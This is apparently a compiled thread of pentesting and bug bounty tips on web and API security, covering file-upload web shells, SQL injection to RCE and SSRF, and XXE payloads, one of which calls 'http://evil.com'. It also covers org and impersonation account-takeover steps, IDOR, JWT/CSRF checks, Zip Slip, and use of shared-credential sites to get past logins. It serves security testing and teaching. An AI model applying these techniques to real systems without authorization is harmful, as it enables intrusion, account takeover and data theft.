Older APIs versions tend to be more vulnerable and they lack security mechanisms. Leverage the predictable nature of REST APIs to find old versions. Saw a call to api/v3/login? Check if api/v1/login exists as well. It might be more vulnerable.

Testing a web app that requires AuthN but you don't have a user? <part 1/2>

1. use Google "site:[host]" to find sub-pages; some of them might not enforce AuthN
2. access /home, /default and use DirButser to find more sub-pages

3. download JS and look for strings like "create_user"/"register"; you might find AuthN API EPs and use them to register directly.
4. use http://bugmenot.com or http://login2.me to find credentials

File Upload --> RCE

1. Windows: Malicious file to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
2. IIS: web-shell to C:\inetpub\wwwroot[3]
3. Apache: web-shell to /var/www/html/

Keep in mind that in many cases the translation of [physical path] --> [virtual directory] isn't straightforward; The test thing you can do is to to find an "arbitrary file download" vuln, scan the server and find the physical location of the virtual directory. *

SQLi --> RCE [1/2] | Look for tables containing records that look like file paths/URLs. Internal systems might use SQL as part of scheduled jobs/updates mechanisms. Change the value to a path/URL of a malicious file

SQLi --> RCE [2/2] | Always look for customized stored producers that were written by DBAs. The producers might use dangerous PLSQL/T-SQL funcs, that your SQL payload can't access directly

SQLi --> SSRF

• Use functions to trigger HTTP calls
• Oracle: UTL_HTTP.request
• MSSQL: master..xp_dirtree
• More info: https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/

White-box Pentst? Learn the dangerous functions of the tested language.

Java: https://stackoverflow.com/a/4351516 | .NET: https://stackoverflow.com/a/20903746 | PHP: https://stackoverflow.com/a/3115645 | Ruby: https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html | (Or simply Google: [language] + security best practices)

My favorite XXE --> RCE finding:

1. XML Parser supports "gopher://" - SSRF on steroids!
2. Java debugger running locally and supports "Telnet Debugging" 🤨
3. Read debugger doc
4. Malicious payload uses gopher to call debugger and run raw Java code 🤠

Found XXE? Leverage it for:

• DoS: XML Bomb
• LFI: <!ENTITY xxe SYSTEM "file://path"> (Try 2 slashes (Windows) and 3 (Linux) in path)
• SSRF: <!ENTITY xxe SYSTEM "http://evil.com"> (Try different protocols [ssh,ftp,etc])

Recently learned: Grafana dashboards tend to use ElasticSearch API. In 30% of the times I've tested, they were vulnerable to a simple attack: If GraphQL query to Elastic contains a "filter"/"filter_id", remove it, and get access to other users' info.

Also relevant for Kibana

Common misconception: AuthN EPs == Login EPs. That's wrong!

• Credentials Recovery
• Login using magic links/1 time code
• Admin "View as..."

All should be considered as AuthN EPs as well, and require additional protection (rate limiting, etc)

How to find detailed errors in APIs?

1. Send a string instead of a number (age=ddd)
2. Remove necessary params (e.g, send a PM and remove "receiver_name" param)
3. Break JSON structure (remove '}')
4. Remove necessary headers/cookies

Found a SQLI? DB doesn't have interesting data? Find tables that store website content, and leverage it to cause stored XSS.

What's your funniest pentest story? I once found a stored XSS in a forum, left a silly "EVIL" alert that impacted all users; They had no "remove thread" feature; had to find a SQLi to remove it 🙃

==Protection for AuthN EPs ==

1. Rate limiting - require captcha/block IP addresses that accessed too many times
2. Account lockout - Many failed attempts to authenticate as user X? Block access to user X for some time.
3. Captcha always recommended*

Testing for SQLi? always remember the DBs are different. Especially concatenation & comments.

• MSSQL: abc' + 'def --
• MySQL: 'abc' || 'def' #
• Oracle: abc' || 'def' --

keep in mind that multi-line comment format usually won't work inside an injection

Before a pentest, I always:

• Use Burp to catch browser traffic
• Use the target app legitimately, trying to use all buttons, views, dashboards, etc
• Use Burp Tree View to understand better the app, including... [in sub tweet]

Which EPs contain IDs Does the app have sub APIs? With which external services does the client-app communicates?

B2B apps often have a "manage your organization" feature - fertile ground for vulns!

1. Create 2 users belong to different orgs
2. Login as user2 from org2
3. Add user1 from org1 to your org
4. Find "get/export org users" API
5. leak user1 info

B2B apps often have an "invite user to your org" feature.

1. Invite an existing user to your org 2.Learn how the API call "accept_invite" looks using a dummy user
2. Accept the invite on behalf of the victim
3. Once victim in your org - game over

B2B apps often provide an "impersonate user" feature to org admins.

1. Create an org admin user
2. Learn the API call to "impersonate_user"
3. Try to delegate to a user from a different org
4. Might lead to a full account takeover

App provides "impersonate user" feature? Check if the app changes your auth_token after impersonation; If it does - make sure the impersonation token follows best practices (https://auth0.com/docs/best-practices/token-best-practices) It often doesn't!

API allows sending a private message? Try to change the "receiver_id" to an array instead of a single string/int. Might be used as a way to spam the system.

Where I usually find IDOR (BOLA) in apps, is in features that allow extracting data as files.

• "download_report/org_id=11"
• "my_activity_as_pdf?user_id=22"

These are often developed by different teams that don't fully understand the Authz mechanism

API with JWT in AuthZ header?

1. Copy JWT b64 value
2. Add new cookies - "auth_token", "jwt_token", "jwt", paste b64 as value
3. Duplicate previous API call, add cookies, remove header.
4. Works? AuthN supports cookies
5. API is 90% vulnerable to CSRF

App allows uploading .zip/rar archives? There's a good chance it's vulnerable to Zip Slip! Put the malicious file inside a zip, edit zip using HexEditor, use directory traversal to change final dest. Try both 1st&2nd occurrences separately

Find detailed errors:

1. Send array instead of primitive (age=[21] instead of age=21)
2. Send a Unicode char in HTTP method (G✔️T)
3. Send long Unicode string (age=✔️x100)
4. If the API receives a URL, remove semicolon (http// instead of http://)

Picture upload feature?

1. Upload an image and check the URL
2. If the file isn't stored on CDN -->
3. Upload an HTML file with script tags
4. If the upload is completed successfully, it might be an XSS

Before a pentest, I always:

1. Use the app as a regular user to understand the BL
2. Create 2 users
3. Map all features allowing interaction between users (Inbox,invites,co-riders); these are usually a good place to find AuthZ issues

Best bug bounty tip I've received: Always focus on the most niche features that are hidden from the main dashboard. They are less likely to be covered in a pentest, and developers usually invest less time in securing them. /Examples in sub-tweet/

Features that were exposed temporarily, such as "create Christmas greeting card" or "black Friday lottery" Dashboards that are exposed to a limited set of users (Uber: Uber-eats drivers | FB: app developers | Airline: portal for gold members) Old versions of the API

Bug bounty hunting is a stressful job. If you find yourself getting overwhelmed after not finding vulns, remind yourself that some apps are just more secure than others. Apply mindfulness to your daily routine and meditate between RCEs 🧘‍♂️

• Inon Shkedy
• Traceableai
• OWASP API PROJECT